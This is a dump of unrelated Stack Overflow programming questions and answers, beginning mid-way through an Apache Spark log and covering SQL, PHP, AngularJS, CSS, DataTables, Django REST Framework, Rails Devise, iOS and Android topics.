11:54:15 INFO Utils: Successfully started service 'sparkDriverActorSystem' on port 51126. 16/10/10 11:54:15 INFO SparkEnv: Registering MapOutputTracker 16/10/10 11:54:15 INFO SparkEnv: Registering BlockManagerMaster 16/10/10 11:54:15 INFO DiskBlockManager: Created local directory at C:\Users\subho\AppData\Local\Temp\blockmgr-a52a5d5a-075b-4859-8434-935fdaba8538 16/10/10 11:54:15 INFO MemoryStore: MemoryStore started with capacity 1128.4 MB 16/10/10 11:54:15 INFO SparkEnv: Registering OutputCommitCoordinator 16/10/10 11:54:15 INFO Utils: Successfully started service 'SparkUI' on port 4040. 16/10/10 11:54:15 INFO SparkUI: Started SparkUI at http://192.168.1.116:4040 16/10/10 11:54:15 INFO Executor: Starting executor ID driver on host localhost 16/10/10 11:54:15 INFO Utils: Successfully started service 'org.apache.spark.network.netty.NettyBlockTransferService' on port 51137. 16/10/10 11:54:15 INFO NettyBlockTransferService: Server created on 51137 16/10/10 11:54:15 INFO BlockManagerMaster: Trying to register BlockManager 16/10/10 11:54:15 INFO BlockManagerMasterEndpoint: Registering block manager localhost:51137 with 1128.4 MB RAM, BlockManagerId(driver, localhost, 51137) 16/10/10 11:54:15 INFO BlockManagerMaster: Registered BlockManager 16/10/10 11:54:17 INFO JSONRelation: Listing file:/C:/Users/subho/Desktop/code-master/simple-spark-project/src/test/resources/Person.json on driver 16/10/10 11:54:17 ERROR Shell: Failed to locate the winutils binary in the hadoop binary path java.io.IOException: Could not locate executable null\bin\winutils.exe in the Hadoop binaries. at org.apache.hadoop.util.Shell.getQualifiedBinPath(Shell.java:278) at org.apache.hadoop.util.Shell.getWinUtilsPath(Shell.java:300) at org.apache.hadoop.util.Shell.&lt;clinit&gt;(Shell.java:293) at org.apache.hadoop.util.StringUtils.&lt;clinit&gt;(StringUtils.java:76) at org.apache.hadoop.mapreduce.lib.input.FileInputFormat.setInputPaths(FileInputFormat.java:447) at org.apache.spark.sql.execution.datasources.json.JSONRelation.org$apache$spark$sql$execution$datasources$json$JSONRelation$$createBaseRdd(JSONRelation.scala:98) at org.apache.spark.sql.execution.datasources.json.JSONRelation$$anonfun$4$$anonfun$apply$1.apply(JSONRelation.scala:115) at org.apache.spark.sql.execution.datasources.json.JSONRelation$$anonfun$4$$anonfun$apply$1.apply(JSONRelation.scala:115) at scala.Option.getOrElse(Option.scala:121) at org.apache.spark.sql.execution.datasources.json.JSONRelation$$anonfun$4.apply(JSONRelation.scala:115) at org.apache.spark.sql.execution.datasources.json.JSONRelation$$anonfun$4.apply(JSONRelation.scala:109) at scala.Option.getOrElse(Option.scala:121) at org.apache.spark.sql.execution.datasources.json.JSONRelation.dataSchema$lzycompute(JSONRelation.scala:109) at org.apache.spark.sql.execution.datasources.json.JSONRelation.dataSchema(JSONRelation.scala:108) at org.apache.spark.sql.sources.HadoopFsRelation.schema$lzycompute(interfaces.scala:636) at org.apache.spark.sql.sources.HadoopFsRelation.schema(interfaces.scala:635) at org.apache.spark.sql.execution.datasources.LogicalRelation.&lt;init&gt;(LogicalRelation.scala:37) at org.apache.spark.sql.DataFrameReader.load(DataFrameReader.scala:125) at org.apache.spark.sql.DataFrameReader.load(DataFrameReader.scala:109) at org.apache.spark.sql.DataFrameReader.json(DataFrameReader.scala:244) at org.apache.spark.sql.SQLContext.jsonFile(SQLContext.scala:1011) at json1$.main(json1.scala:28) at json1.main(json1.scala) 16/10/10 11:54:18 INFO MemoryStore: Block broadcast_0 stored as values in memory (estimated size 128.0 KB, free 128.0 KB) 16/10/10 11:54:18 INFO MemoryStore: Block broadcast_0_piece0 stored as bytes in memory (estimated size 14.1 KB, free 142.1 KB) 16/10/10 11:54:18 INFO BlockManagerInfo: Added broadcast_0_piece0 in memory on localhost:51137 (size: 14.1 KB, free: 1128.4 MB) 16/10/10 11:54:18 INFO SparkContext: Created broadcast 0 from jsonFile at json1.scala:28 16/10/10 11:54:18 INFO FileInputFormat: Total input paths to process : 1 16/10/10 11:54:18 INFO SparkContext: Starting job: jsonFile at json1.scala:28 16/10/10 11:54:18 INFO DAGScheduler: Got job 0 (jsonFile at json1.scala:28) with 2 output partitions 16/10/10 11:54:18 INFO DAGScheduler: Final stage: ResultStage 0 (jsonFile at json1.scala:28) 16/10/10 11:54:18 INFO DAGScheduler: Parents of final stage: List() 16/10/10 11:54:18 INFO DAGScheduler: Missing parents: List() 16/10/10 11:54:18 INFO DAGScheduler: Submitting ResultStage 0 (MapPartitionsRDD[3] at jsonFile at json1.scala:28), which has no missing parents 16/10/10 11:54:18 INFO MemoryStore: Block broadcast_1 stored as values in memory (estimated size 4.2 KB, free 146.3 KB) 16/10/10 11:54:18 INFO MemoryStore: Block broadcast_1_piece0 stored as bytes in memory (estimated size 2.4 KB, free 148.6 KB) 16/10/10 11:54:18 INFO BlockManagerInfo: Added broadcast_1_piece0 in memory on localhost:51137 (size: 2.4 KB, free: 1128.4 MB) 16/10/10 11:54:18 INFO SparkContext: Created broadcast 1 from broadcast at DAGScheduler.scala:1006 16/10/10 11:54:18 INFO DAGScheduler: Submitting 2 missing tasks from ResultStage 0 (MapPartitionsRDD[3] at jsonFile at json1.scala:28) 16/10/10 11:54:18 INFO TaskSchedulerImpl: Adding task set 0.0 with 2 tasks 16/10/10 11:54:18 INFO TaskSetManager: Starting task 0.0 in stage 0.0 (TID 0, localhost, partition 0,PROCESS_LOCAL, 2113 bytes) 16/10/10 11:54:18 INFO TaskSetManager: Starting task 1.0 in stage 0.0 (TID 1, localhost, partition 1,PROCESS_LOCAL, 2113 bytes) 16/10/10 11:54:18 INFO Executor: Running task 1.0 in stage 0.0 (TID 1) 16/10/10 11:54:18 INFO Executor: Running task 0.0 in stage 0.0 (TID 0) 16/10/10 11:54:18 INFO HadoopRDD: Input split: file:/C:/Users/subho/Desktop/code-master/simple-spark-project/src/test/resources/Person.json:0+92 16/10/10 11:54:18 INFO HadoopRDD: Input split: file:/C:/Users/subho/Desktop/code-master/simple-spark-project/src/test/resources/Person.json:92+93 16/10/10 11:54:18 INFO deprecation: mapred.tip.id is deprecated. Instead, use mapreduce.task.id 16/10/10 11:54:18 INFO deprecation: mapred.tip.id is deprecated. Instead, use mapreduce.task.id 16/10/10 11:54:18 INFO deprecation: mapred.task.id is deprecated. Instead, use mapreduce.task.attempt.id 16/10/10 11:54:18 INFO deprecation: mapred.task.is.map is deprecated. Instead, use mapreduce.task.ismap 16/10/10 11:54:18 INFO deprecation: mapred.task.partition is deprecated. Instead, use mapreduce.task.partition 16/10/10 11:54:18 INFO deprecation: mapred.job.id is deprecated. Instead, use mapreduce.job.id 16/10/10 11:54:19 INFO Executor: Finished task 0.0 in stage 0.0 (TID 0). 2886 bytes result sent to driver 16/10/10 11:54:19 INFO Executor: Finished task 1.0 in stage 0.0 (TID 1). 2886 bytes result sent to driver 16/10/10 11:54:19 INFO TaskSetManager: Finished task 0.0 in stage 0.0 (TID 0) in 1287 ms on localhost (1/2) 16/10/10 11:54:19 INFO TaskSetManager: Finished task 1.0 in stage 0.0 (TID 1) in 1264 ms on localhost (2/2) 16/10/10 11:54:19 INFO TaskSchedulerImpl: Removed TaskSet 0.0, whose tasks have all completed, from pool 16/10/10 11:54:19 INFO DAGScheduler: ResultStage 0 (jsonFile at json1.scala:28) finished in 1.314 s 16/10/10 11:54:19 INFO DAGScheduler: Job 0 finished: jsonFile at json1.scala:28, took 1.413653 s 16/10/10 11:54:20 INFO BlockManagerInfo: Removed broadcast_1_piece0 on localhost:51137 in memory (size: 2.4 KB, free: 1128.4 MB) 16/10/10 11:54:20 INFO ContextCleaner: Cleaned accumulator 1 16/10/10 11:54:20 INFO BlockManagerInfo: Removed broadcast_0_piece0 on localhost:51137 in memory (size: 14.1 KB, free: 1128.4 MB) 16/10/10 11:54:21 INFO MemoryStore: Block broadcast_2 stored as values in memory (estimated size 59.6 KB, free 59.6 KB) 16/10/10 11:54:21 INFO MemoryStore: Block broadcast_2_piece0 stored as bytes in memory (estimated size 13.8 KB, free 73.3 KB) 16/10/10 11:54:21 INFO BlockManagerInfo: Added broadcast_2_piece0 in memory on localhost:51137 (size: 13.8 KB, free: 1128.4 MB) 16/10/10 11:54:21 INFO SparkContext: Created broadcast 2 from collect at json1.scala:34 16/10/10 11:54:21 INFO MemoryStore: Block broadcast_3 stored as values in memory (estimated size 128.0 KB, free 201.3 KB) 16/10/10 11:54:21 INFO MemoryStore: Block broadcast_3_piece0 stored as bytes in memory (estimated size 14.1 KB, free 215.4 KB) 16/10/10 11:54:21 INFO BlockManagerInfo: Added broadcast_3_piece0 in memory on localhost:51137 (size: 14.1 KB, free: 1128.3 MB) 16/10/10 11:54:21 INFO SparkContext: Created broadcast 3 from collect at json1.scala:34 16/10/10 11:54:21 INFO FileInputFormat: Total input paths to process : 1 16/10/10 11:54:21 INFO SparkContext: Starting job: collect at json1.scala:34 16/10/10 11:54:21 INFO DAGScheduler: Got job 1 (collect at json1.scala:34) with 2 output partitions 16/10/10 11:54:21 INFO DAGScheduler: Final stage: ResultStage 1 (collect at json1.scala:34) 16/10/10 11:54:21 INFO DAGScheduler: Parents of final stage: List() 16/10/10 11:54:21 INFO DAGScheduler: Missing parents: List() 16/10/10 11:54:21 INFO DAGScheduler: Submitting ResultStage 1 (MapPartitionsRDD[9] at collect at json1.scala:34), which has no missing parents 16/10/10 11:54:21 INFO MemoryStore: Block broadcast_4 stored as values in memory (estimated size 7.6 KB, free 223.0 KB) 16/10/10 11:54:21 INFO MemoryStore: Block broadcast_4_piece0 stored as bytes in memory (estimated size 4.1 KB, free 227.1 KB) 16/10/10 11:54:21 INFO BlockManagerInfo: Added broadcast_4_piece0 in memory on localhost:51137 (size: 4.1 KB, free: 1128.3 MB) 16/10/10 11:54:21 INFO SparkContext: Created broadcast 4 from broadcast at DAGScheduler.scala:1006 16/10/10 11:54:21 INFO DAGScheduler: Submitting 2 missing tasks from ResultStage 1 (MapPartitionsRDD[9] at collect at json1.scala:34) 16/10/10 11:54:21 INFO TaskSchedulerImpl: Adding task set 1.0 with 2 tasks 16/10/10 11:54:21 INFO TaskSetManager: Starting task 0.0 in stage 1.0 (TID 2, localhost, partition 0,PROCESS_LOCAL, 2113 bytes) 16/10/10 11:54:21 INFO TaskSetManager: Starting task 1.0 in stage 1.0 (TID 3, localhost, partition 1,PROCESS_LOCAL, 2113 bytes) 16/10/10 11:54:21 INFO Executor: Running task 0.0 in stage 1.0 (TID 2) 16/10/10 11:54:21 INFO Executor: Running task 1.0 in stage 1.0 (TID 3) 16/10/10 11:54:21 INFO HadoopRDD: Input split: file:/C:/Users/subho/Desktop/code-master/simple-spark-project/src/test/resources/Person.json:92+93 16/10/10 11:54:21 INFO HadoopRDD: Input split: file:/C:/Users/subho/Desktop/code-master/simple-spark-project/src/test/resources/Person.json:0+92 16/10/10 11:54:22 INFO BlockManagerInfo: Removed broadcast_2_piece0 on localhost:51137 in memory (size: 13.8 KB, free: 1128.4 MB) 16/10/10 11:54:22 INFO GenerateUnsafeProjection: Code generated in 548.352258 ms 16/10/10 11:54:22 INFO GeneratePredicate: Code generated in 5.245214 ms 16/10/10 11:54:22 INFO Executor: Finished task 1.0 in stage 1.0 (TID 3). 2283 bytes result sent to driver 16/10/10 11:54:22 INFO Executor: Finished task 0.0 in stage 1.0 (TID 2). 2536 bytes result sent to driver 16/10/10 11:54:22 INFO TaskSetManager: Finished task 1.0 in stage 1.0 (TID 3) in 755 ms on localhost (1/2) 16/10/10 11:54:22 INFO TaskSetManager: Finished task 0.0 in stage 1.0 (TID 2) in 759 ms on localhost (2/2) 16/10/10 11:54:22 INFO DAGScheduler: ResultStage 1 (collect at json1.scala:34) finished in 0.760 s 16/10/10 11:54:22 INFO DAGScheduler: Job 1 finished: collect at json1.scala:34, took 0.779652 s 16/10/10 11:54:22 INFO TaskSchedulerImpl: Removed TaskSet 1.0, whose tasks have all completed, from pool [53,Barack,Obama]16/10/10 11:54:22 INFO SparkContext: Invoking stop() from shutdown hook 16/10/10 11:54:22 INFO SparkUI: Stopped Spark web UI at http://192.168.1.116:4040 16/10/10 11:54:22 INFO MapOutputTrackerMasterEndpoint: MapOutputTrackerMasterEndpoint stopped! 16/10/10 11:54:22 INFO MemoryStore: MemoryStore cleared 16/10/10 11:54:22 INFO BlockManager: BlockManager stopped 16/10/10 11:54:22 INFO BlockManagerMaster: BlockManagerMaster stopped 16/10/10 11:54:22 INFO OutputCommitCoordinator$OutputCommitCoordinatorEndpoint: OutputCommitCoordinator stopped! 16/10/10 11:54:22 INFO SparkContext: Successfully stopped SparkContext 16/10/10 11:54:22 INFO ShutdownHookManager: Shutdown hook called 16/10/10 11:54:22 INFO ShutdownHookManager: Deleting directory C:\Users\subho\AppData\Local\Temp\spark-6cab6329-83f1-4af4-b64c-c869550405a4 16/10/10 11:54:22 INFO RemoteActorRefProvider$RemotingTerminator: Shutting down remote daemon. </code></pre> <p>Thanks and Regards,</p>
12842819	0	 <p>You need to put the name of the field into square brackets.</p> <p>So change...</p> <pre><code>ON e.EEO-1Class = jt.EEO-1Class </code></pre> <p>Into</p> <pre><code>ON e.[EEO-1Class] = jt.[EEO-1Class] </code></pre> <p>If your field or table name contains just alphanumeric characters (ie A-Z and 0-9) and the underscore <code>_</code> character, then you can use it without square brackets (<code>[</code> and <code>]</code>).</p> <p>But as soon as you have a different characters in there (and one that can easily be confused by SQL server, such as <code>-</code>) then you need to place the field/table into square brackets.</p> <p>However, what I would recommend above everything else is that you only ever use alphanumeric characters (and the underscore <code>_</code> character) for your field and table names, as it is considered better practise, and will remove this type of thing happening again for you</p>
3188354	0	 <p>This <a href="http://www.cadtutor.net/forum/archive/index.php/t-20809.html" rel="nofollow noreferrer">Forum thread</a> includes a VB program to strip the control characters from the MText. The code indicates what should be done to strip each control character, so it should be straightforward to write something similar in C#.</p> <p>Additionally, the documentation of the format codes is available in the <a href="http://docs.autodesk.com/ACD/2010/ENU/AutoCAD%202010%20User%20Documentation/index.html?url=WS1a9193826455f5ffa23ce210c4a30acaf-63b9.htm,topicNumber=d0e123454" rel="nofollow noreferrer">AutoCAD documentation</a>.</p>
17157262	0	Best way to fetch multiple variables from MySQL Database using PDO <p>Okai, so I am trying to fetch multiple variables from the MySQL Database using PDO and I feel that I have to repeat myself alot in the code. Is there a neater way to write this or a more secure way?</p> <p>Here is my code for the following example:</p> <pre><code> $username = $_SESSION['username']; $db = new PDO('mysql:xxxxxxxx;dbname=xxxxxxxxxxxx', 'xxxxxx', 'xxxxxxx'); // FETCH name VARIABLE $fetchname = $db-&gt;prepare("SELECT name FROM login WHERE username = :username"); $fetchname-&gt;bindParam(':username', $username, PDO::PARAM_STR, 40); $fetchname-&gt;execute(); $myname = $fetchname-&gt;fetchColumn(); // FETCH age VARIABLE $fetchage = $db-&gt;prepare("SELECT age FROM login WHERE username = :username"); $fetchage-&gt;bindParam(':username', $username, PDO::PARAM_STR, 40); $fetchage-&gt;execute(); $myage = $fetchage-&gt;fetchColumn(); </code></pre> <p>I wish to avoid having to repeat this FETCH for each variable from the same table...</p>
28563554	0	 <p>if you need to validate decimal with dots, commas, positives and negatives try this:</p> <pre><code>Object testObject = "-1.5"; boolean isDecimal = Pattern.matches("^[\\+\\-]{0,1}[0-9]+[\\.\\,]{1}[0-9]+$", (CharSequence) testObject); </code></pre> <p>Good luck.</p>
35868561	0	 <p>Here is how I would do.</p> <blockquote> <p>app.js</p> </blockquote> <pre><code>(function(){ angular.module('app',[]); /* other code like configuration etc */ })(); </code></pre> <blockquote> <p>SomeService.js</p> </blockquote> <pre><code>(function(){ angular.module('app'); .factory('someService',function(){ return { doSomething: function(){ $('.container-fluid').css('display', 'none'); } }; }); })(); </code></pre> <blockquote> <p>app.run.js</p> </blockquote> <pre><code>(function(){ angular.module('app') //Inject your service here .run(function($rootScope,someService){ //Look for successful state change. //For your ref. on other events. //https://github.com/angular-ui/ui-router/wiki#state-change-events $rootScope.$on('$stateChangeSuccess', function() { //If you don't wanna create the service, you can directly write // your function here. someService.doSomething(); }); }) })(); </code></pre> <p>Always wrap your angular code within <a href="https://en.wikipedia.org/wiki/Immediately-invoked_function_expression" rel="nofollow">IIFE</a> it wraps everything in closure and prevents leaks as well as provides a layer of security.</p> <p>Hope this helps!</p>
12935544	0	 <p>I do not think it is that easy.</p> <p>According to the specs at <a href="http://dev.w3.org/html5/spec/association-of-controls-and-forms.html#attr-fae-form" rel="nofollow">http://dev.w3.org/html5/spec/association-of-controls-and-forms.html#attr-fae-form</a></p> <ol> <li>The form owner must exist in order to be set to an element.</li> <li>The element must be in the document in order to alter its form owner</li> </ol>
3519215	0	 <p>Try using this</p> <pre><code>$.sheet.instance[0].makeTable.json() </code></pre>
2964006	0	 <p>Yes. People normally just use VirtualHosts. </p> <p>There are several ways. </p> <ul> <li>You can use a relative path to include a config file. </li> <li>You can use a DOCUMENT_ROOT from the $_SERVER superglobal to place a config file there. </li> <li>You can use web-server config if possible. like <code>php_value auto_prepend_file</code> in .htaccess </li> <li>And at least you can detect your environment and choose between two roots, both written in conditions at the top. </li> <li>And yes, if you're using mod_rewrite - make a front controller which will include all the other files, so - the only one file to place these settings.</li> </ul>
6208342	0	Using server side html+js in phonegap (multiplatform mobile dev) <p>Phonegap uses html source located in www folder. I was testing what happens if index.html is still in www, but it links to other html that are located in at the server side. It will open the server side html in the web browser instead of handle it as part of the app.</p> <p>Is there any way to make phonegap work with server side html + js source?</p> <p>It is not a bad idea if you need to mix usage of libraries (jars + ios libraries), local phonegap html+js with server side dynamic html code (like php output).</p> <p>thanks. </p>
11159898	0	UILabel Landscape Orientation <p>Im trying to change a UIlabels coordinates in landscape orient so i did this. The problem is that it doesn't work. What am I doing wrong?</p> <pre><code>- (BOOL)shouldAutorotateToInterfaceOrientation:(UIInterfaceOrientation)interfaceOrientation { return (interfaceOrientation != UIInterfaceOrientationPortraitUpsideDown); if (interfaceOrientation != UIInterfaceOrientationLandscapeLeft) { label.frame = CGRectMake(377, 15, 42, 21); } } </code></pre>
12124574	0	 <p>You can't sort a table by default, but you have to do it programmatically. With a little bit of work you can write a reusable <a href="http://java.sun.com/javaee/javaserverfaces/1.2/docs/api/javax/faces/event/PhaseListener.html" rel="nofollow"><code>PhaseListener</code></a> which you can control from your JSF page.</p> <p>Make sure it only <a href="http://stackoverflow.com/questions/2678207/jsf-fview-beforephase-firing-multiple-times-as-i-leave-the-page">handles a single phase</a> (for example <code>PhaseId.RESTORE_VIEW</code>) and use it to set the sort order using <a href="http://myfaces.apache.org/trinidad/trinidad-api/apidocs/org/apache/myfaces/trinidad/component/UIXTable.html#setSortCriteria%28java.util.List%29" rel="nofollow"><code>setSortCriteria</code></a>:</p> <pre><code>List&lt;SortCriterion&gt; sortCriteria = new ArrayList&lt;SortCriterion&gt;(1); String property = "myProperty"; boolean ascending = true; sortCriteria.add(new SortCriterion(property, ascending)); myCoreTable.setSortCriteria(sortCriteria); </code></pre> <p>Now you only have to add two <code>&lt;f:attribute/&gt;</code>s on your table to pass both the property name and the ascending boolean so you can create a reusable listener for all your tables.</p> <p>In your <code>&lt;tr:document&gt;</code> you can have a <code>&lt;f:attribute/&gt;</code> with a list of table ID's to process.</p>
31576553	0	jQuery: Is there a way to grab a HTML element's external CSS and append to its "Style" attribute? <p>Basically what i want to do is grab all CSS that is referenced in an external stylesheet e.g <code>&lt;link rel="stylesheet" href="css/General.css"&gt;</code> and append it to any existing styling for each HTML element in my page. (make all CSS inline)</p> <p>The reason for this is because i need to call <code>.html()</code> to grab a div and send to server to be made into a PDF. The downside with this tool is that it only recognises inline CSS.</p> <p>Are there any ways to do this?</p> <p>Edit: the question that was linked to mine as a "possible duplicate" spoke only of putting everything in the <code>&lt;style&gt;</code> tag. while that may be useful, im mainly concerned with loading into the <code>style=""</code> html atribute</p>
25501006	0	 <p>I am not sure about the bootsrap, But here is the generic way of approach to solve your problem.</p> <p><strong>HTML</strong></p> <pre><code>&lt;div class="main"&gt; &lt;div&gt;one&lt;/div&gt; &lt;div&gt;two&lt;/div&gt; &lt;div&gt;three&lt;/div&gt; &lt;div&gt;four&lt;/div&gt; &lt;div&gt;five&lt;/div&gt; &lt;div&gt;six&lt;/div&gt; &lt;div&gt;seven&lt;/div&gt; &lt;div&gt;eight&lt;/div&gt; &lt;div&gt;nine&lt;/div&gt; &lt;div&gt;ten&lt;/div&gt; &lt;div&gt;eleven&lt;/div&gt; &lt;div&gt;twelve&lt;/div&gt; &lt;div&gt;thirteen&lt;/div&gt; &lt;div&gt;fourteen&lt;/div&gt; &lt;div&gt;fifteen&lt;/div&gt; &lt;/div&gt; </code></pre> <p><strong>CSS</strong></p> <pre><code>.main div { float: right; width: 70px; } .main div:nth-child(6n + 7) { clear: right; } </code></pre> <p><a href="http://jsfiddle.net/q9zh8508/1/" rel="nofollow"><strong>FIDDLE DEMO</strong></a></p>
10087701	0	 <p>You should perform validations at server side as well as client side.Client side validations increase interactivity of your applications.In other words make your application more user friendly.However client side validations may have their shortcomings , if your user disables javascript , then he could very well enter non sense data values and send them to your server.You dont want this to happen.For that purpose you need to perform server side validations.Server side validation controls filter the input and make sure proper data is entered.There are good validation controls Asp.Net offers.You could very well utilize them. I recommend you to use both client as well as server side validation for a blend of interactivity and protection. Thanks</p>
37588890	0	Datatables sorting time column <p>I'm using jQuery DataTables and I have a problem when I'm sorting my time column with this format <code>mm:ss</code>. For example when I sort this <code>00:08</code> the sort does something but this is not good. I have in my column:</p> <pre><code>00:08 00:15 00:01 01:20 00:16 02:11 </code></pre> <p>So the sort doesn't work. Do you know how can I sort my time column?</p> <p>Here is my code : </p> <pre><code>$('#table').DataTable({ dom: "t&lt;'col-sm-5'i&gt;&lt;'col-sm-7'p&gt;", autoWidth: false, serverSide: true, aaSorting: [[0, 'desc']], rowId: 'id', lengthChange: false, ajax: { url: 'index', method: 'POST' } columns: [ {data: "id", width: '5%'}, {data: "name", width: '10%', orderData: [ 1, 0 ]}, {data: "user_name", width: '10%', orderData: [ 2, 0 ]}, {data: "email", width: '35%', orderData: [ 3, 0 ]}, {data: "duration", render: duration_time, width: '10%', type: "time",orderData: [ 4, 0 ]}, {data: "incomplete", render: incomplete, width: '30%', orderData: [ 5, 0 ]} ] }); </code></pre> <p>Here is the function for the render parameter :</p> <pre><code>function duration_time(data, type, dataToSet){ var start = dataToSet.date_start; var end = dataToSet.date_end; var time = moment.utc(moment(end, "YYYY-MM-DD HH:mm:ss").diff(moment(start, "YYYY-MM-DD HH:mm:ss"))).format("mm:ss"); return time; } function incomplete(data, type, dataToSet){ return dataToSet.incomplete == 0 ? 'Complete' : 'Incomplete'; } </code></pre>
33929120	1	Sharing heavy calculations result when using DRF serializer with many=True <p>There is a simple DRF serializer which:</p> <pre><code>class MySeriliazer(serializers.Serializer): some_field = serializers.SerializerMethodField(read_only=True) def get_some_field(self, obj): some_list = utils.do_some_heavy_calculations() return some_list[obj.some_field] </code></pre> <p>As you see I have a <code>some_field</code> field which value is calculated via some function.</p> <p>When I get a single object it's a big of a problem, but when I use this serializer with <code>many=True</code> thus receiving multiple objects <code>do_some_heave_calculations</code> get called for each, which is very expensive.</p> <p>Moreover sometimes there are few fields which use the same heavy function. like:</p> <pre><code>class MySeriliazer(serializers.Serializer): some_field1 = serializers.SerializerMethodField(read_only=True) some_field2 = serializers.SerializerMethodField(read_only=True) def get_some_field1(self, obj): some_list = utils.do_some_heavy_calculations() return some_list[obj.some_field1] def get_some_field2(self, obj): some_list = utils.do_some_heavy_calculations() return some_list[obj.some_field2] </code></pre> <p>Function is called twice for each object. Not good. What are the options to solve this? Sure enough I can grab these results from some cache which is updated every second. But I think it's possible to extract these calculations somehow and share them during the serialization process.</p> <p>If needed - I use DRF generic views.</p>
29540871	0	Restore Purchase Not Working <p>I'm trying to add a restore option to my app, I have a button that calls this functions:</p> <pre><code>SKPaymentQueue.defaultQueue().addTransactionObserver(self) SKPaymentQueue.defaultQueue().restoreCompletedTransactions() </code></pre> <p>And I'm using the <em>paymentQueueRestoreCompletedTransactionsFinished</em> function, the problem is that the function fire every time the restore button is hit whether or not the user had bought the item. How can I check if the restore was successful and that the user had bought the item? </p>
6580639	0	Newbie and PHP Frameworks <p>I am a newbie in PHP Frameworks and would like to share/discuss some experience with you guys. Getting straight to the point, what I understand till now (from a newby stand of point is this):</p> <ul> <li>CodeIgniter + Doctrine + Twigg = Symfony:</li> <li><p>Zend + Doctrine + Twigg = Symfony</p> <ol> <li>Symfony 2, uses php5.3 (I realy like namespace stuff remind me .Net) but it lucks of tutorials right now (only partial jobeet translation to ver2)</li> <li>I enjoy CI community and noumerous tutorials, plus using Doctrine + Twigg I could achive the same with Symfony. </li> <li>Zend is more enterprise with lots of tutorials, but more difficult to grasp than CI.</li> </ol></li> </ul> <p>So the question is should I start with CI + Doctrine or learn directly Symfony2? Am I correct with the above assumptions?</p>
23477624	0	 <p>You are declaring an array, if you want to add another array inside the first one, try something like this: </p> <pre><code>$obj = array( array("Office", "Orders", array("role" =&gt; "style")), array("Jacksonville", 1254, "magenta"), array("Orlando", 653, "blue"), array("Sarasota", 789, "green"), array("Stuart", 468, "yellow"), array("Tampa", 982, "cyan")); </code></pre>
3421501	0	 <p>The text box has a <code>TabIndex</code> of 0 and <code>TabStop</code> set to true. This means that the control will be given focus when the form is displayed.</p> <p>You can either give another control the 0 <code>TabIndex</code> (if there is one) and give the text box a different tab index (>0), or set <code>TabStop</code> to false for the text box to stop this from happening.</p>
34517734	0	 <p>So... May be it should be in <code>module Validatable</code>?</p> <ol> <li>Generate Validatables controler with this <a href="https://github.com/plataformatec/devise/wiki/Tool:-Generate-and-customize-controllers" rel="nofollow">Tools</a></li> <li>Customize this controller something like this: (Code of this module You could see <a href="https://github.com/plataformatec/devise/blob/master/lib/devise/models/validatable.rb#L57" rel="nofollow">This</a>)</li> </ol> <p>...</p> <pre><code>base.class_eval do validates_presence_of :email, if: :email_required? validates_uniqueness_of :email, allow_blank: true, if: :email_changed? validates_format_of :email, with: email_regexp, allow_blank: true, if: :email_changed? validates_presence_of :password, if: :password_required? validates_confirmation_of :password, if: :password_required? validates_length_of :password, within: password_length, allow_blank: true validates_presence_of :question, if: :question_required? validates_format_of :question, with: answered_regexp, if: :answered_changed? end end ... def email_required? true end def question_required? true end </code></pre> <p>This is not complied solution, but I hope it help You...</p>
13635072	0	 <p>Compilation is slowed down a bit because of the way that CodeContracts work. There is an IL re-writer that injects code into your methods based on the contracts that you specify. This happens after the C# compiler has come along and generated the IL for your assembly. </p> <p>The runtime performance difference is quite small and will not affect your code in a noticeable way. Unless you are developing some real-time stock trading system, I seriously wouldn't even worry about it.</p> <p>As far as disabling Code Contracts in Production, I would far rather have the added protection of Code Contracts that some possibly obscure error. An error in the code contract will tell you exactly where and why the Contract was violated as opposed to having to dig down in some deep call-stack just because some bad data was passed in 5 levels up the call-stack tree.</p> <p>If you are using or are planning to use <code>Contract.Requires&lt;TException&gt;</code> and do not enable 'Runtime Contract Checking', you'll get a runtime failure about the IL rewriter needing to be bound to the usage of Code Contracts. You will then be required to enable Runtime Contract Checking to get this to work.</p> <p>IMHO, the use of <code>Contract.Requires&lt;TException&gt;()</code> is far more useful than <code>Contract.Requires()</code> since you have control over the type of exception thrown.</p> <p>EDIT: One thing I forgot to add is that the IL Rewriter is completely independent of the C# compiler and there are no dependencies between the two.</p>
24424720	0	 <p>Your PHP does not have the LDAP extension installed or enabled. It's needed for AD authentication. Your distribution probably has a separate package for it. Eg. php5-ldap or something.</p>
26653691	0	Android app integrating Spreadsheets API <p>My app accesses a spreadsheet from a user account, previously authenticad via the Google Plus Sign in button, all appropriate scopes and credentials have been selected in the Google API console, and I have a logged in GoogleApiClient with which I can access the user profile information.</p> <p>When I attempt to initialize a SpreadSheetService object:</p> <pre><code>SpreadsheetService service = new SpreadsheetService("SpreadSheetImport-v1"); </code></pre> <p>I get the exception related to the class com.google.common.collect.Maps:</p> <pre><code>10-30 13:50:34.280: D/SHEETS(17433): TRYING TO GET SPREADSHEET LIST! 10-30 13:50:34.280: D/AndroidRuntime(17433): Shutting down VM 10-30 13:50:34.280: E/AndroidRuntime(17433): FATAL EXCEPTION: main 10-30 13:50:34.280: E/AndroidRuntime(17433): Process: com.pazodediarada.dc, PID: 17433 10-30 13:50:34.280: E/AndroidRuntime(17433): java.lang.NoClassDefFoundError: Failed resolution of: Lcom/google/common/collect/Maps; 10-30 13:50:34.280: E/AndroidRuntime(17433): at com.google.gdata.wireformats.AltRegistry.&lt;init&gt;(AltRegistry.java:118) 10-30 13:50:34.280: E/AndroidRuntime(17433): at com.google.gdata.wireformats.AltRegistry.&lt;init&gt;(AltRegistry.java:100) 10-30 13:50:34.280: E/AndroidRuntime(17433): at com.google.gdata.client.Service.&lt;clinit&gt;(Service.java:555) 10-30 13:50:34.280: E/AndroidRuntime(17433): at com.pazodediarada.dc.SpreadSheetImport.getSpreadSheetDeutschList(SpreadSheetImport.java:356) 10-30 13:50:34.280: E/AndroidRuntime(17433): at com.pazodediarada.dc.SpreadSheetImport.onClick(SpreadSheetImport.java:146) 10-30 13:50:34.280: E/AndroidRuntime(17433): at android.view.View.performClick(View.java:4438) 10-30 13:50:34.280: E/AndroidRuntime(17433): at android.view.View$PerformClick.run(View.java:18422) 10-30 13:50:34.280: E/AndroidRuntime(17433): at android.os.Handler.handleCallback(Handler.java:733) 10-30 13:50:34.280: E/AndroidRuntime(17433): at android.os.Handler.dispatchMessage(Handler.java:95) 10-30 13:50:34.280: E/AndroidRuntime(17433): at android.os.Looper.loop(Looper.java:136) 10-30 13:50:34.280: E/AndroidRuntime(17433): at android.app.ActivityThread.main(ActivityThread.java:5001) 10-30 13:50:34.280: E/AndroidRuntime(17433): at java.lang.reflect.Method.invoke(Native Method) 10-30 